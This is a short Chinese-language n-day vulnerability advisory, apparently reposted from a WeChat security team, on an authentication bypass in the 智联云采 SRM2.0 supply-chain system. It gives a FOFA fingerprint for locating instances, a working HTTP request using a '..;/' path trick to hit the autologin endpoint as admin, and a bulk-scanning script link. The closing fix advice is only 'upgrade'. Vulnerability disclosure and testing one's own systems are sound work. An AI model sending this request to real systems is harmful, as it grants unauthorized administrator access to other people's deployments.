fofa
icon_hash="1665918155"
一、漏洞简述
智联云采 SRM2.0是一款先进的供应链管理系统,旨在优化企业的采购流程和供应商管理。该系统通过云端技术,提供实时的数据分析和智能决策支持,帮助企业提高采购效率和降低成本。SRM2.0具备供应商评估、合同管理、采购计划和财务对接等功能,能够实现与各类企业资源的无缝对接,提升整体供应链的协同效率。通过智能化工具,智联云采 SRM2.0助力企业在竞争中保持优势。其接口autologin存在权限绕过漏洞,攻击者可通过该漏洞获取系统管理员权限。
二、漏洞检测poc
GET /adpweb/static/..;/api/sys/app/autologin?loginName=admin HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Location返回302跳转到后台登录页面
三、漏洞检测脚本
安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞:
https://github.com/ATonysan/poc-exp/blob/main/SRM2.0_autologin_bypassauth.py
批量检测:
python SRM2.0_autologin_bypassauth.py -f url.txt
单个url检测漏洞:
python SRM2.0_autologin_bypassauth.py -u url
四、修复
官方已更新补丁,请升级至最新版本。
原文始发于微信公众号(苏诺木安全团队):【Nday】某某云采SRM2.0 autologin 权限绕过漏洞【附poc】
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论